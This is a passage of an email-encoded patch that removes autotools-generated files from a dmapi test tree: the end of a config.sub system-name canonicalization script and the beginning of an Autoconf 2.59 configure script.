xps100) -=09=09basic_machine=3Dxps100-honeywell -=09=09;; -=09ymp) -=09=09basic_machine=3Dymp-cray -=09=09os=3D-unicos -=09=09;; -=09z8k-*-coff) -=09=09basic_machine=3Dz8k-unknown -=09=09os=3D-sim -=09=09;; -=09none) -=09=09basic_machine=3Dnone-none -=09=09os=3D-none -=09=09;; - -# Here we handle the default manufacturer of certain CPU types. It is= in -# some cases the only manufacturer, in others, it is the most popular. -=09w89k) -=09=09basic_machine=3Dhppa1.1-winbond -=09=09;; -=09op50n) -=09=09basic_machine=3Dhppa1.1-oki -=09=09;; -=09op60c) -=09=09basic_machine=3Dhppa1.1-oki -=09=09;; -=09romp) -=09=09basic_machine=3Dromp-ibm -=09=09;; -=09mmix) -=09=09basic_machine=3Dmmix-knuth -=09=09;; -=09rs6000) -=09=09basic_machine=3Drs6000-ibm -=09=09;; -=09vax) -=09=09basic_machine=3Dvax-dec -=09=09;; -=09pdp10) -=09=09# there are many clones, so DEC is not a safe bet -=09=09basic_machine=3Dpdp10-unknown -=09=09;; -=09pdp11) -=09=09basic_machine=3Dpdp11-dec -=09=09;; -=09we32k) -=09=09basic_machine=3Dwe32k-att -=09=09;; -=09sh3 | sh4 | sh[34]eb | sh[1234]le | sh[23]ele) -=09=09basic_machine=3Dsh-unknown -=09=09;; -=09sh64) -=09=09basic_machine=3Dsh64-unknown -=09=09;; -=09sparc | sparcv8 | sparcv9 | sparcv9b) -=09=09basic_machine=3Dsparc-sun -=09=09;; -=09cydra) -=09=09basic_machine=3Dcydra-cydrome -=09=09;; -=09orion) -=09=09basic_machine=3Dorion-highlevel -=09=09;; -=09orion105) -=09=09basic_machine=3Dclipper-highlevel -=09=09;; -=09mac | mpw | mac-mpw) -=09=09basic_machine=3Dm68k-apple -=09=09;; -=09pmac | pmac-mpw) -=09=09basic_machine=3Dpowerpc-apple -=09=09;; -=09*-unknown) -=09=09# Make sure to match an already-canonicalized machine name. -=09=09;; -=09*) -=09=09echo Invalid configuration \`$1\': machine \`$basic_machine\' no= t recognized 1>&2 -=09=09exit 1 -=09=09;; -esac - -# Here we canonicalize certain aliases for manufacturers. -case $basic_machine in -=09*-digital*) -=09=09basic_machine=3D`echo $basic_machine | sed 's/digital.*/dec/'` -=09=09;; -=09*-commodore*) -=09=09basic_machine=3D`echo $basic_machine | sed 's/commodore.*/cbm/'` -=09=09;; -=09*) -=09=09;; -esac - -# Decode manufacturer-specific aliases for certain operating systems. - -if [ x"$os" !=3D x"" ] -then -case $os in - # First match some system type aliases - # that might get confused with valid system types. -=09# -solaris* is a basic system type, with this one exception. -=09-solaris1 | -solaris1.*) -=09=09os=3D`echo $os | sed -e 's|solaris1|sunos4|'` -=09=09;; -=09-solaris) -=09=09os=3D-solaris2 -=09=09;; -=09-svr4*) -=09=09os=3D-sysv4 -=09=09;; -=09-unixware*) -=09=09os=3D-sysv4.2uw -=09=09;; -=09-gnu/linux*) -=09=09os=3D`echo $os | sed -e 's|gnu/linux|linux-gnu|'` -=09=09;; -=09# First accept the basic system types. -=09# The portable systems comes first. -=09# Each alternative MUST END IN A *, to match a version number. -=09# -sysv* is not here because it comes later, after sysvr4. -=09-gnu* | -bsd* | -mach* | -minix* | -genix* | -ultrix* | -irix* \ -=09 | -*vms* | -sco* | -esix* | -isc* | -aix* | -sunos | -sunos[3= 4]*\ -=09 | -hpux* | -unos* | -osf* | -luna* | -dgux* | -solaris* | -sy= m* \ -=09 | -amigaos* | -amigados* | -msdos* | -newsos* | -unicos* | -a= of* \ -=09 | -aos* \ -=09 | -nindy* | -vxsim* | -vxworks* | -ebmon* | -hms* | -mvs* \ -=09 | -clix* | -riscos* | -uniplus* | -iris* | -rtu* | -xenix* \ -=09 | -hiux* | -386bsd* | -knetbsd* | -mirbsd* | -netbsd* | -open= bsd* \ -=09 | -ekkobsd* | -kfreebsd* | -freebsd* | -riscix* | -lynxos* \ -=09 | -bosx* | -nextstep* | -cxux* | -aout* | -elf* | -oabi* \ -=09 | -ptx* | -coff* | -ecoff* | -winnt* | -domain* | -vsta* \ -=09 | -udi* | -eabi* | -lites* | -ieee* | -go32* | -aux* \ -=09 | -chorusos* | -chorusrdb* \ -=09 | -cygwin* | -pe* | -psos* | -moss* | -proelf* | -rtems* \ -=09 | -mingw32* | -linux* | -linux-uclibc* | -uxpv* | -beos* | -m= peix* | -udk* \ -=09 | -interix* | -uwin* | -mks* | -rhapsody* | -darwin* | -opene= d* \ -=09 | -openstep* | -oskit* | -conix* | -pw32* | -nonstopux* \ -=09 | -storm-chaos* | -tops10* | -tenex* | -tops20* | -its* \ -=09 | -os2* | -vos* | -palmos* | -uclinux* | -nucleus* \ -=09 | -morphos* | -superux* | -rtmk* | -rtmk-nova* | -windiss* \ -=09 | -powermax* | -dnix* | -nx6 | -nx7 | -sei* | -dragonfly*) -=09# Remember, each alternative MUST END IN *, to match a version numb= er. -=09=09;; -=09-qnx*) -=09=09case $basic_machine in -=09=09 x86-* | i*86-*) -=09=09=09;; -=09=09 *) -=09=09=09os=3D-nto$os -=09=09=09;; -=09=09esac -=09=09;; -=09-nto-qnx*) -=09=09;; -=09-nto*) -=09=09os=3D`echo $os | sed -e 's|nto|nto-qnx|'` -=09=09;; -=09-sim | -es1800* | -hms* | -xray | -os68k* | -none* | -v88r* \ -=09 | -windows* | -osx | -abug | -netware* | -os9* | -beos* \ -=09 | -macos* | -mpw* | -magic* | -mmixware* | -mon960* | -lnews*= ) -=09=09;; -=09-mac*) -=09=09os=3D`echo $os | sed -e 's|mac|macos|'` -=09=09;; -=09-linux-dietlibc) -=09=09os=3D-linux-dietlibc -=09=09;; -=09-sunos5*) -=09=09os=3D`echo $os | sed -e 's|sunos5|solaris2|'` -=09=09;; -=09-sunos6*) -=09=09os=3D`echo $os | sed -e 's|sunos6|solaris3|'` -=09=09;; -=09-opened*) -=09=09os=3D-openedition -=09=09;; - -os400*) -=09=09os=3D-os400 -=09=09;; -=09-wince*) -=09=09os=3D-wince -=09=09;; -=09-osfrose*) -=09=09os=3D-osfrose -=09=09;; -=09-osf*) -=09=09os=3D-osf -=09=09;; -=09-utek*) -=09=09os=3D-bsd -=09=09;; -=09-dynix*) -=09=09os=3D-bsd -=09=09;; -=09-acis*) -=09=09os=3D-aos -=09=09;; -=09-atheos*) -=09=09os=3D-atheos -=09=09;; -=09-syllable*) -=09=09os=3D-syllable -=09=09;; -=09-386bsd) -=09=09os=3D-bsd -=09=09;; -=09-ctix* | -uts*) -=09=09os=3D-sysv -=09=09;; -=09-nova*) -=09=09os=3D-rtmk-nova -=09=09;; -=09-ns2 ) -=09=09os=3D-nextstep2 -=09=09;; -=09-nsk*) -=09=09os=3D-nsk -=09=09;; -=09# Preserve the version number of sinix5. -=09-sinix5.*) -=09=09os=3D`echo $os | sed -e 's|sinix|sysv|'` -=09=09;; -=09-sinix*) -=09=09os=3D-sysv4 -=09=09;; - -tpf*) -=09=09os=3D-tpf -=09=09;; -=09-triton*) -=09=09os=3D-sysv3 -=09=09;; -=09-oss*) -=09=09os=3D-sysv3 -=09=09;; -=09-svr4) -=09=09os=3D-sysv4 -=09=09;; -=09-svr3) -=09=09os=3D-sysv3 -=09=09;; -=09-sysvr4) -=09=09os=3D-sysv4 -=09=09;; -=09# This must come after -sysvr4. -=09-sysv*) -=09=09;; -=09-ose*) -=09=09os=3D-ose -=09=09;; -=09-es1800*) -=09=09os=3D-ose -=09=09;; -=09-xenix) -=09=09os=3D-xenix -=09=09;; -=09-*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) -=09=09os=3D-mint -=09=09;; -=09-aros*) -=09=09os=3D-aros -=09=09;; -=09-kaos*) -=09=09os=3D-kaos -=09=09;; -=09-none) -=09=09;; -=09*) -=09=09# Get rid of the `-' at the beginning of $os. -=09=09os=3D`echo $os | sed 's/[^-]*-//'` -=09=09echo Invalid configuration \`$1\': system \`$os\' not recognized= 1>&2 -=09=09exit 1 -=09=09;; -esac -else - -# Here we handle the default operating systems that come with various = machines. -# The value should be what the vendor currently ships out the door wit= h their -# machine or put another way, the most popular os provided with the ma= chine. - -# Note that if you're going to try to match "-MANUFACTURER" here (say, -# "-sun"), then you have to tell the case statement up towards the top -# that MANUFACTURER isn't an operating system. Otherwise, code above -# will signal an error saying that MANUFACTURER isn't an operating -# system, and we'll never get to this point. - -case $basic_machine in -=09*-acorn) -=09=09os=3D-riscix1.2 -=09=09;; -=09arm*-rebel) -=09=09os=3D-linux -=09=09;; -=09arm*-semi) -=09=09os=3D-aout -=09=09;; - c4x-* | tic4x-*) - os=3D-coff - ;; -=09# This must come before the *-dec entry. -=09pdp10-*) -=09=09os=3D-tops20 -=09=09;; -=09pdp11-*) -=09=09os=3D-none -=09=09;; -=09*-dec | vax-*) -=09=09os=3D-ultrix4.2 -=09=09;; -=09m68*-apollo) -=09=09os=3D-domain -=09=09;; -=09i386-sun) -=09=09os=3D-sunos4.0.2 -=09=09;; -=09m68000-sun) -=09=09os=3D-sunos3 -=09=09# This also exists in the configure program, but was not the -=09=09# default. -=09=09# os=3D-sunos4 -=09=09;; -=09m68*-cisco) -=09=09os=3D-aout -=09=09;; -=09mips*-cisco) -=09=09os=3D-elf -=09=09;; -=09mips*-*) -=09=09os=3D-elf -=09=09;; -=09or32-*) -=09=09os=3D-coff -=09=09;; -=09*-tti)=09# must be before sparc entry or we get the wrong os. -=09=09os=3D-sysv3 -=09=09;; -=09sparc-* | *-sun) -=09=09os=3D-sunos4.1.1 -=09=09;; -=09*-be) -=09=09os=3D-beos -=09=09;; -=09*-ibm) -=09=09os=3D-aix -=09=09;; - =09*-knuth) -=09=09os=3D-mmixware -=09=09;; -=09*-wec) -=09=09os=3D-proelf -=09=09;; -=09*-winbond) -=09=09os=3D-proelf -=09=09;; -=09*-oki) -=09=09os=3D-proelf -=09=09;; -=09*-hp) -=09=09os=3D-hpux -=09=09;; -=09*-hitachi) -=09=09os=3D-hiux -=09=09;; -=09i860-* | *-att | *-ncr | *-altos | *-motorola | *-convergent) -=09=09os=3D-sysv -=09=09;; -=09*-cbm) -=09=09os=3D-amigaos -=09=09;; -=09*-dg) -=09=09os=3D-dgux -=09=09;; -=09*-dolphin) -=09=09os=3D-sysv3 -=09=09;; -=09m68k-ccur) -=09=09os=3D-rtu -=09=09;; -=09m88k-omron*) -=09=09os=3D-luna -=09=09;; -=09*-next ) -=09=09os=3D-nextstep -=09=09;; -=09*-sequent) -=09=09os=3D-ptx -=09=09;; -=09*-crds) -=09=09os=3D-unos -=09=09;; -=09*-ns) -=09=09os=3D-genix -=09=09;; -=09i370-*) -=09=09os=3D-mvs -=09=09;; -=09*-next) -=09=09os=3D-nextstep3 -=09=09;; -=09*-gould) -=09=09os=3D-sysv -=09=09;; -=09*-highlevel) -=09=09os=3D-bsd -=09=09;; -=09*-encore) -=09=09os=3D-bsd -=09=09;; -=09*-sgi) -=09=09os=3D-irix -=09=09;; -=09*-siemens) -=09=09os=3D-sysv4 -=09=09;; -=09*-masscomp) -=09=09os=3D-rtu -=09=09;; -=09f30[01]-fujitsu | f700-fujitsu) -=09=09os=3D-uxpv -=09=09;; -=09*-rom68k) -=09=09os=3D-coff -=09=09;; -=09*-*bug) -=09=09os=3D-coff -=09=09;; -=09*-apple) -=09=09os=3D-macos -=09=09;; -=09*-atari*) -=09=09os=3D-mint -=09=09;; -=09*) -=09=09os=3D-none -=09=09;; -esac -fi - -# Here we handle the case where we know the os, and the CPU type, but = not the -# manufacturer. We pick the logical manufacturer. -vendor=3Dunknown -case $basic_machine in -=09*-unknown) -=09=09case $os in -=09=09=09-riscix*) -=09=09=09=09vendor=3Dacorn -=09=09=09=09;; -=09=09=09-sunos*) -=09=09=09=09vendor=3Dsun -=09=09=09=09;; -=09=09=09-aix*) -=09=09=09=09vendor=3Dibm -=09=09=09=09;; -=09=09=09-beos*) -=09=09=09=09vendor=3Dbe -=09=09=09=09;; -=09=09=09-hpux*) -=09=09=09=09vendor=3Dhp -=09=09=09=09;; -=09=09=09-mpeix*) -=09=09=09=09vendor=3Dhp -=09=09=09=09;; -=09=09=09-hiux*) -=09=09=09=09vendor=3Dhitachi -=09=09=09=09;; -=09=09=09-unos*) -=09=09=09=09vendor=3Dcrds -=09=09=09=09;; -=09=09=09-dgux*) -=09=09=09=09vendor=3Ddg -=09=09=09=09;; -=09=09=09-luna*) -=09=09=09=09vendor=3Domron -=09=09=09=09;; -=09=09=09-genix*) -=09=09=09=09vendor=3Dns -=09=09=09=09;; -=09=09=09-mvs* | -opened*) -=09=09=09=09vendor=3Dibm -=09=09=09=09;; -=09=09=09-os400*) -=09=09=09=09vendor=3Dibm -=09=09=09=09;; -=09=09=09-ptx*) -=09=09=09=09vendor=3Dsequent -=09=09=09=09;; -=09=09=09-tpf*) -=09=09=09=09vendor=3Dibm -=09=09=09=09;; -=09=09=09-vxsim* | -vxworks* | -windiss*) -=09=09=09=09vendor=3Dwrs -=09=09=09=09;; -=09=09=09-aux*) -=09=09=09=09vendor=3Dapple -=09=09=09=09;; -=09=09=09-hms*) -=09=09=09=09vendor=3Dhitachi -=09=09=09=09;; -=09=09=09-mpw* | -macos*) -=09=09=09=09vendor=3Dapple -=09=09=09=09;; -=09=09=09-*mint | -mint[0-9]* | -*MiNT | -MiNT[0-9]*) -=09=09=09=09vendor=3Datari -=09=09=09=09;; -=09=09=09-vos*) -=09=09=09=09vendor=3Dstratus -=09=09=09=09;; -=09=09esac -=09=09basic_machine=3D`echo $basic_machine | sed "s/unknown/$vendor/"` -=09=09;; -esac - -echo $basic_machine$os -exit 0 - -# Local variables: -# eval: (add-hook 'write-file-hooks 'time-stamp) -# time-stamp-start: "timestamp=3D'" -# time-stamp-format: "%:y-%02m-%02d" -# time-stamp-end: "'" -# End: Index: b/dmapi/configure =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D --- a/dmapi/configure +++ /dev/null @@ -1,20709 +0,0 @@ -#! /bin/sh -# Guess values for system-dependent variables and create Makefiles. -# Generated by GNU Autoconf 2.59. -# -# Copyright (C) 2003 Free Software Foundation, Inc. -# This configure script is free software; the Free Software Foundation -# gives unlimited permission to copy, distribute and modify it. -## --------------------- ## -## M4sh Initialization. ## -## --------------------- ## - -# Be Bourne compatible -if test -n "${ZSH_VERSION+set}" && (emulate sh) >/dev/null 2>&1; then - emulate sh - NULLCMD=3D: - # Zsh 3.x and 4.x performs word splitting on ${1+"$@"}, which - # is contrary to our usage. Disable this feature. - alias -g '${1+"$@"}'=3D'"$@"' -elif test -n "${BASH_VERSION+set}" && (set -o posix) >/dev/null 2>&1; = then - set -o posix -fi -DUALCASE=3D1; export DUALCASE # for MKS sh - -# Support unset when possible. -if ( (MAIL=3D60; unset MAIL) || exit) >/dev/null 2>&1; then - as_unset=3Dunset -else - as_unset=3Dfalse -fi - - -# Work around bugs in pre-3.0 UWIN ksh. -$as_unset ENV MAIL MAILPATH -PS1=3D'$ ' -PS2=3D'> ' -PS4=3D'+ ' - -# NLS nuisances. -for as_var in \ - LANG LANGUAGE LC_ADDRESS LC_ALL LC_COLLATE LC_CTYPE LC_IDENTIFICATIO= N \ - LC_MEASUREMENT LC_MESSAGES LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER \ - LC_TELEPHONE LC_TIME -do - if (set +x; test -z "`(eval $as_var=3DC; export $as_var) 2>&1`"); th= en - eval $as_var=3DC; export $as_var - else - $as_unset $as_var - fi -done - -# Required to use basename. -if expr a : '\(a\)' >/dev/null 2>&1; then - as_expr=3Dexpr -else - as_expr=3Dfalse -fi - -if (basename /) >/dev/null 2>&1 && test "X`basename / 2>&1`" =3D "X/";= then - as_basename=3Dbasename -else - as_basename=3Dfalse -fi - - -# Name of the executable. -as_me=3D`$as_basename "$0" || -$as_expr X/"$0" : '.*/\([^/][^/]*\)/*$' \| \ -=09 X"$0" : 'X\(//\)$' \| \ -=09 X"$0" : 'X\(/\)$' \| \ -=09 . : '\(.\)' 2>/dev/null || -echo X/"$0" | - sed '/^.*\/\([^/][^/]*\)\/*$/{ s//\1/; q; } - =09 /^X\/\(\/\/\)$/{ s//\1/; q; } - =09 /^X\/\(\/\).*/{ s//\1/; q; } - =09 s/.*/./; q'` - - -# PATH needs CR, and LINENO needs CR and PATH. -# Avoid depending upon Character Ranges. -as_cr_letters=3D'abcdefghijklmnopqrstuvwxyz' -as_cr_LETTERS=3D'ABCDEFGHIJKLMNOPQRSTUVWXYZ' -as_cr_Letters=3D$as_cr_letters$as_cr_LETTERS -as_cr_digits=3D'0123456789' -as_cr_alnum=3D$as_cr_Letters$as_cr_digits - -# The user is always right. -if test "${PATH_SEPARATOR+set}" !=3D set; then - echo "#! /bin/sh" >conf$$.sh - echo "exit 0" >>conf$$.sh - chmod +x conf$$.sh - if (PATH=3D"/nonexistent;."; conf$$.sh) >/dev/null 2>&1; then - PATH_SEPARATOR=3D';' - else - PATH_SEPARATOR=3D: - fi - rm -f conf$$.sh -fi - - - as_lineno_1=3D$LINENO - as_lineno_2=3D$LINENO - as_lineno_3=3D`(expr $as_lineno_1 + 1) 2>/dev/null` - test "x$as_lineno_1" !=3D "x$as_lineno_2" && - test "x$as_lineno_3" =3D "x$as_lineno_2" || { - # Find who we are. Look in the path if we contain no path at all - # relative or not. - case $0 in - *[\\/]* ) as_myself=3D$0 ;; - *) as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in $PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - test -r "$as_dir/$0" && as_myself=3D$as_dir/$0 && break -done - - ;; - esac - # We did not find ourselves, most probably we were run as `sh COMMAN= D' - # in which case we are not to be found in the path. - if test "x$as_myself" =3D x; then - as_myself=3D$0 - fi - if test ! -f "$as_myself"; then - { echo "$as_me: error: cannot find myself; rerun with an absolute = path" >&2 - { (exit 1); exit 1; }; } - fi - case $CONFIG_SHELL in - '') - as_save_IFS=3D$IFS; IFS=3D$PATH_SEPARATOR -for as_dir in /bin$PATH_SEPARATOR/usr/bin$PATH_SEPARATOR$PATH -do - IFS=3D$as_save_IFS - test -z "$as_dir" && as_dir=3D. - for as_base in sh bash ksh sh5; do -=09 case $as_dir in -=09 /*) -=09 if ("$as_dir/$as_base" -c ' - as_lineno_1=3D$LINENO - as_lineno_2=3D$LINENO - as_lineno_3=3D`(expr $as_lineno_1 + 1) 2>/dev/null` - test "x$as_lineno_1" !=3D "x$as_lineno_2" && - test "x$as_lineno_3" =3D "x$as_lineno_2" ') 2>/dev/null; then -=09 $as_unset BASH_ENV || test "${BASH_ENV+set}" !=3D set || { BAS= H_ENV=3D; export BASH_ENV; } -=09 $as_unset ENV || test "${ENV+set}" !=3D set || { ENV=3D; expor= t ENV; } -=09 CONFIG_SHELL=3D$as_dir/$as_base -=09 export CONFIG_SHELL -=09 exec "$CONFIG_SHELL" "$0" ${1+"$@"} -=09 fi;; -=09 esac - done -done -;; - esac - - # Create $as_me.lineno as a copy of $as_myself, but with $LINENO - # uniformly replaced by the line number. The first 'sed' inserts a - # line-number line before each line; the second 'sed' does the real - # work. The second script uses 'N' to pair each line-number line - # with the numbered line, and appends trailing '-' during - # substitution so that $LINENO is not a special case at line end. - # (Raja R Harinath suggested sed '=3D', and Paul Eggert wrote the - # second 'sed' script. Blame Lee E. McMahon for sed's syntax. :-) - sed '=3D' <$as_myself | - sed ' - N - s,$,-, - : loop - s,^\(['$as_cr_digits']*\)\(.*\)[$]LINENO\([^'$as_cr_alnum'_]\),\= 1\2\1\3, - t loop - s,-$,, - s,^['$as_cr_digits']*\n,, - ' >$as_me.lineno && - chmod +x $as_me.lineno || - { echo "$as_me: error: cannot create $as_me.lineno; rerun with a P= OSIX shell" >&2 - { (exit 1); exit 1; }; } - - # Don't try to exec as it changes $[0], causing all sort of problems - # (the dirname of $[0] is not the place where we might find the - # original and so on. Autoconf is especially sensible to this). - . ./$as_me.lineno - # Exit status is that of the last command. - exit -} - - -case `echo "testing\c"; echo 1,2,3`,`echo -n testing; echo 1,2,3` in - *c*,-n*) ECHO_N=3D ECHO_C=3D' -' ECHO_T=3D'=09' ;; - *c*,* ) ECHO_N=3D-n ECHO_C=3D ECHO_T=3D ;; - *) ECHO_N=3D ECHO_C=3D'\c' ECHO_T=3D ;; -esac - -if expr a : '\(a\)' >/dev/null 2>&1; then - as_expr=3Dexpr -else - as_expr=3Dfalse -fi - -rm -f conf$$ conf$$.exe conf$$.file -echo >conf$$.file -if ln -s conf$$.file conf$$ 2>/dev/null; then - # We could just check for DJGPP; but this test a) works b) is more g= eneric - # and c) will remain valid once DJGPP supports symlinks (DJGPP 2.04)= . - if test -f conf$$.exe; then - # Don't use ln at all; we don't have any links - as_ln_s=3D'cp -p' - else - as_ln_s=3D'ln -s' - fi -elif ln conf$$.file conf$$ 2>/dev/null; then - as_ln_s=3Dln -else - as_ln_s=3D'cp -p' -fi -rm -f conf$$ conf$$.exe conf$$.file - -if mkdir -p . 2>/dev/null; then - as_mkdir_p=3D: -else - test -d ./-p && rmdir ./-p - as_mkdir_p=3Dfalse -fi - -as_executable_p=3D"test -f" - -# Sed expression to map a string onto a valid CPP name. -as_tr_cpp=3D"eval sed 'y%*$as_cr_letters%P$as_cr_LETTERS%;s%[^_$as_cr_= alnum]%_%g'" - -# Sed expression to map a string onto a valid variable name. -as_tr_sh=3D"eval sed 'y%*+%pp%;s%[^_$as_cr_alnum]%_%g'" - - -# IFS -# We need space, tab and new line, in precisely that order. -as_nl=3D' -' -IFS=3D" =09$as_nl" - -# CDPATH. -$as_unset CDPATH - - - -# Check that we are running under the correct shell. -SHELL=3D${CONFIG_SHELL-/bin/sh} - -case X$ECHO in -X*--fallback-echo) - # Remove one level of quotation (which was required for Make). - ECHO=3D`echo "$ECHO" | sed 's,\\\\\$\\$0,'$0','` - ;; -esac - -echo=3D${ECHO-echo} -if test "X$1" =3D X--no-reexec; then - # Discard the --no-reexec flag, and continue. - shift -elif test "X$1" =3D X--fallback-echo; then - # Avoid inline document here, it may be left over - : -elif test "X`($echo '\t') 2>/dev/null`" =3D 'X\t' ; then - # Yippee, $echo works! - : -else - # Restart under the correct shell. - exec $SHELL "$0" --no-reexec ${1+"$@"} -fi - -if test "X$1" =3D X--fallback-echo; then - # used as fallback echo - shift - cat </dev/null 2>&1 && unset CDPATH - -if test -z "$ECHO"; then -if test "X${echo_test_string+set}" !=3D Xset; then -# find a string as large as possible, as long as the shell can cope wi= th it - for cmd in 'sed 50q "$0"' 'sed 20q "$0"' 'sed 10q "$0"' 'sed 2q "$0"= ' 'echo test'; do - # expected sizes: less than 2Kb, 1Kb, 512 bytes, 16 bytes, ... - if (echo_test_string=3D"`eval $cmd`") 2>/dev/null && - echo_test_string=3D"`eval $cmd`" && - (test "X$echo_test_string" =3D "X$echo_test_string") 2>/dev/nul= l - then - break - fi - done -fi - -if test "X`($echo '\t') 2>/dev/null`" =3D 'X\t' && - echo_testing_string=3D`($echo "$echo_test_string") 2>/dev/null` && - test "X$echo_testing_string" =3D "X$echo_test_string"; then - : -else - # The Solaris, AIX, and Digital Unix default echo programs unquote - # backslashes. This makes it impossible to quote backslashes using - # echo "$something" | sed 's/\\/\\\\/g' - # - # So, first we look for a working echo in the user's PATH. - - lt_save_ifs=3D"$IFS"; IFS=3D$PATH_SEPARATOR - for dir in $PATH /usr/ucb; do - IFS=3D"$lt_save_ifs" - if (test -f $dir/echo || test -f $dir/echo$ac_exeext) && - test "X`($dir/echo '\t') 2>/dev/null`" =3D 'X\t' && - echo_testing_string=3D`($dir/echo "$echo_test_string") 2>/dev/n= ull` && - test "X$echo_testing_string" =3D "X$echo_test_string"; then - echo=3D"$dir/echo" - break - fi - done - IFS=3D"$lt_save_ifs" - - if test "X$echo" =3D Xecho; then - # We didn't find a better echo, so look for alternatives. - if test "X`(print -r '\t') 2>/dev/null`" =3D 'X\t' && - echo_testing_string=3D`(print -r "$echo_test_string") 2>/dev/nu= ll` && - test "X$echo_testing_string" =3D "X$echo_test_string"; then - # This shell has a builtin print -r that does the trick. - echo=3D'print -r' - elif (test -f /bin/ksh || test -f /bin/ksh$ac_exeext) && -=09 test "X$CONFIG_SHELL" !=3D X/bin/ksh; then - # If we have ksh, try running configure again with it. - ORIGINAL_CONFIG_SHELL=3D${CONFIG_SHELL-/bin/sh} - export ORIGINAL_CONFIG_SHELL - CONFIG_SHELL=3D/bin/ksh - export CONFIG_SHELL - exec $CONFIG_SHELL "$0" --no-reexec ${1+"$@"} - else - # Try using printf. - echo=3D'printf %s\n' - if test "X`($echo '\t') 2>/dev/null`" =3D 'X\t' && -=09 echo_testing_string=3D`($echo "$echo_test_string") 2>/dev/null` && -=09 test "X$echo_testing_string" =3D "X$echo_test_string"; then -=09# Cool, printf works -=09: - elif echo_testing_string=3D`($ORIGINAL_CONFIG_SHELL "$0" --fallb= ack-echo '\t') 2>/dev/null` && -=09 test "X$echo_testing_string" =3D 'X\t' && -=09 echo_testing_string=3D`($ORIGINAL_CONFIG_SHELL "$0" --fallback-e= cho "$echo_test_string") 2>/dev/null` && -=09 test "X$echo_testing_string" =3D "X$echo_test_string"; then -=09CONFIG_SHELL=3D$ORIGINAL_CONFIG_SHELL -=09export CONFIG_SHELL -=09SHELL=3D"$CONFIG_SHELL" -=09export SHELL -=09echo=3D"$CONFIG_SHELL $0 --fallback-echo" - elif echo_testing_string=3D`($CONFIG_SHELL "$0" --fallback-echo = '\t') 2>/dev/null` && -=09 test "X$echo_testing_string" =3D 'X\t' && -=09 echo_testing_string=3D`($CONFIG_SHELL "$0" --fallback-echo "$ech= o_test_string") 2>/dev/null` && -=09 test "X$echo_testing_string" =3D "X$echo_test_string"; then -=09echo=3D"$CONFIG_SHELL $0 --fallback-echo" - else -=09# maybe with a smaller string... -=09prev=3D: - -=09for cmd in 'echo test' 'sed 2q "$0"' 'sed 10q "$0"' 'sed 20q "$0"' = 'sed 50q "$0"'; do -=09 if (test "X$echo_test_string" =3D "X`eval $cmd`") 2>/dev/null -=09 then -=09 break -=09 fi -=09 prev=3D"$cmd" -=09done - -=09if test "$prev" !=3D 'sed 50q "$0"'; then -=09 echo_test_string=3D`eval $prev` -=09 export echo_test_string -=09 exec ${ORIGINAL_CONFIG_SHELL-${CONFIG_SHELL-/bin/sh}} "$0" ${1+"$= @"} -=09else -=09 # Oops. We lost completely, so just stick with echo. -=09 echo=3Decho -=09fi - fi - fi - fi -fi -fi - -# Copy echo and quote the copy suitably for passing to libtool from -# the Makefile, instead of quoting the original, which is used later. -ECHO=3D$echo -if test "X$ECHO" =3D "X$CONFIG_SHELL $0 --fallback-echo"; then - ECHO=3D"$CONFIG_SHELL \\\$\$0 --fallback-echo" -fi - - - - -tagnames=3D${tagnames+${tagnames},}CXX - -tagnames=3D${tagnames+${tagnames},}F77 - -# Name of the host. -# hostname on some systems (SVR3.2, Linux) returns a bogus exit status= , -# so uname gets run too. -ac_hostname=3D`(hostname || uname -n) 2>/dev/null | sed 1q` - -exec 6>&1 - -# -# Initializations. -# -ac_default_prefix=3D/usr/local -ac_config_libobj_dir=3D. -cross_compiling=3Dno -subdirs=3D -MFLAGS=3D -MAKEFLAGS=3D -SHELL=3D${CONFIG_SHELL-/bin/sh} - -# Maximum number of lines to put in a shell here document. -# This variable seems obsolete. It should probably be removed, and -# only ac_max_sed_lines should be used. -: ${ac_max_here_lines=3D38} - -# Identity of this package. -PACKAGE_NAME=3D -PACKAGE_TARNAME=3D -PACKAGE_VERSION=3D -PACKAGE_STRING=3D -PACKAGE_BUGREPORT=3D - -ac_unique_file=3D"src/common/cmd/read_invis.c" -# Factoring default headers for most tests. -ac_includes_default=3D"\ -#include -#if HAVE_SYS_TYPES_H -# include -#endif -#if HAVE_SYS_STAT_H -# include -#endif -#if STDC_HEADERS -# include -# include -#else -# if HAVE_STDLIB_H -# include -# endif -#endif -#if HAVE_STRING_H -# if !STDC_HEADERS && HAVE_MEMORY_H -# include -# endif -# include -#endif -#if HAVE_STRINGS_H -# include -#endif -#if HAVE_INTTYPES_H -# include -#else -# if HAVE_STDINT_H -# include -# endif -#endif -#if HAVE_UNISTD_H -# include -#endif" - -ac_default_prefix=3D/usr/local/dmapi_tests -ac_subst_vars=3D'SHELL PATH_SEPARATOR PACKAGE_NAME PACKAGE_TARNAME PAC= KAGE_VERSION PACKAGE_STRING PACKAGE_BUGREPORT exec_prefix prefix progra= m_transform_name bindir sbindir libexecdir datadir sysconfdir sharedsta= tedir localstatedir libdir includedir oldincludedir infodir mandir buil= d_alias host_alias target_alias DEFS ECHO_C ECHO_N ECHO_T LIBS INSTALL_= PROGRAM INSTALL_SCRIPT INSTALL_DATA CYGPATH_W PACKAGE VERSION ACLOCAL A= UTOCONF AUTOMAKE AUTOHEADER MAKEINFO install_sh STRIP ac_ct_STRIP INSTA= LL_STRIP_PROGRAM mkdir_p AWK SET_MAKE am__leading_dot AMTAR am__tar am_= _untar CC CFLAGS LDFLAGS CPPFLAGS ac_ct_CC EXEEXT OBJEXT DEPDIR am__inc= lude am__quote AMDEP_TRUE AMDEP_FALSE AMDEPBACKSLASH CCDEPMODE am__fast= depCC_TRUE am__fastdepCC_FALSE build build_cpu build_vendor build_os ho= st host_cpu host_vendor host_os EGREP LN_S ECHO AR ac_ct_AR RANLIB ac_c= t_RANLIB CPP CXX CXXFLAGS ac_ct_CXX CXXDEPMODE am__fastdepCXX_TRUE am__= fastdepCXX_FALSE CXXCPP F77 